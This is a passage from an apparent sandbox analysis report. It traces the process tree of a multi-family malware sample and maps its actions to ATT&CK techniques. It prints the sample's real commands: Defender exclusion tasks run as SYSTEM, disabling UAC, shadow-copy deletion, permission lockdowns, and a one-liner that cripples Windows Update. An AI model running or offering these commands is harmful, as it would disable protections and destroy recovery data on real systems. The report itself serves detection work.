PID 3920 wrote to memory of 3324	3920	cmd.exe	197
PID 4592 wrote to memory of 4512	4592	cmd.exe	198
PID 4512 wrote to memory of 1148	4512	net.exe	199
PID 3920 wrote to memory of 4692	3920	cmd.exe	200

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	CgGxSm.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-11-01_b8a8cfd5ad964db072b5c51fdfbb6257_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:2240

C:\Users\Public\nwbyoe\vuzfTH.exe
C:\Users\Public\nwbyoe\vuzfTH.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nwbyoe\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:652
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nwbyoe\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2292
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4592
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:532
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4088
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1164
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4160
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3756
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2248
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:204
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:712
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4856
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2788
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2408
- C:\Program Files (x86)\CgGxSm\CgGxSm.exe
  "C:\Program Files (x86)\CgGxSm\CgGxSm.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:628
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3496
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4300
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4228
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:412
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1516
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2928
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2216
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3460
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm\CgGxSm.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2212
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm\CgGxSm.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3100
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm\CgGxSm.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1288
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm\CgGxSm.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3840
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm\CgGxSm.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:204
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm\CgGxSm.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4564
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2984
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2408
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1184
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2068
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4268
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4792
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2464
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2832
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2244
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4704
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2812
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1312
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2968
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2584
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4516
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4212
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\CgGxSm\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:448
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\CgGxSm\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1464
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2328
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\CgGxSm\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3920
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\CgGxSm\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3324
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4692
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2348
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4592
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4512
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1148
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:784
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3680
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:4732
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2268
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2240
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:664
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:4568
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:864
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:2604
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4616
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:2524
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:2956
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:1940
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:2128
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:956
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3424
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2728
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2172
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3968
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4200
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1036
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:736
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:4988
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:5100
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:2504
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4724
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:3628
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4296
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1520
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3300
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:436
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2408
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4500
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:808
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:1580
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1620
